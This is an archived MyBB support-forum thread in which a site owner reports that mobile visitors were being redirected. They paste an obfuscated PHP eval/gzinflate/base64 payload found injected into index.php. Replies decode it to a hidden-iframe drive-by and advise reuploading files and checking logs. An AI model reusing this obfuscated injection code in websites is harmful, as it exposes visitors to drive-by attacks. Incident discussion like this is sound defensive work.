MyBB Community Forums
virus or else..!! - Printable Version

+- MyBB Community Forums (
+-- Forum: Community Archive (
+--- Forum: Archived Forums (
+---- Forum: Archived Development and Support (
+----- Forum: MyBB 1.6 (
+------ Forum: 1.6 Security Management and Support (
+------ Thread: virus or else..!! (/thread-127171.html)

virus or else..!! - saini1987 - 2012-10-05

Yesterday my admin panel was redirecting to some other site without my knowledge in mobile and same was on forum index page on mobile. After checking index.php in both root and admincp, i found this code added in both files

<?php eval(gzinflate(base64_decode('7L0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ/ff/z9cZmQBbPbOStrJniGAqsgfP358Hz8iivN063ctmiZvt36387a8c+cXpxdlNcnKFH8e4p/Pdg9/4+THfiyv66r+/et8VdVtsbzY2rnDH6/qYtluffy4OK+zRZ5eFbN2/tlHuzsfpfO8uJi38nvTXpf5Zx9dFk0xKcqivX40L2azfHm4qpqiLarlo2zSVOW6zQ/L/Lx9tHPYViv6l96sp599NG/b1aO7d6dlMX075n+bVV2Nq/ri7nmez+5y3814NV/9Huti9tn9T3+hfPLZvY+OHt8V1I4+BsK/5DdO/p8AAAD//w==')));?>

Don't know how it got added....

RE: virus or else..!! - JordanMussi - 2012-10-05

Check your hosts logs

RE: virus or else..!! - Paul H. - 2012-10-05

Reupload a new copy of MyBB immediately. Check your FTP logs and plugins.

RE: virus or else..!! - crazy4cs - 2012-10-05

It's a possible malicious code. Possibly a hidden file upload script type of code.

RE: virus or else..!! - pavemen - 2012-10-05

it evaluates to

if (!isset($ftl)){ global $ftl;$ftl=1; error_reporting(0); print('<iframe width="10" height="10" style="visibility:hidden;position:absolute;left:0;top:0;" src=""></iframe>'); }

RE: virus or else..!! - laie_techie - 2012-10-07

Seems like this was an issue a few versions back. Could you make sure you have the latest version of MyBB installed?

RE: virus or else..!! - saini1987 - 2012-10-12

I have latest mybb installed....
Will copy the fresh files now.

RE: virus or else..!! - perfect watch - 2012-10-18

A maliciou virus.

RE: virus or else..!! - Snapy888 - 2012-10-18

It's a silent drive by, I'd run a virus scan on your computer too.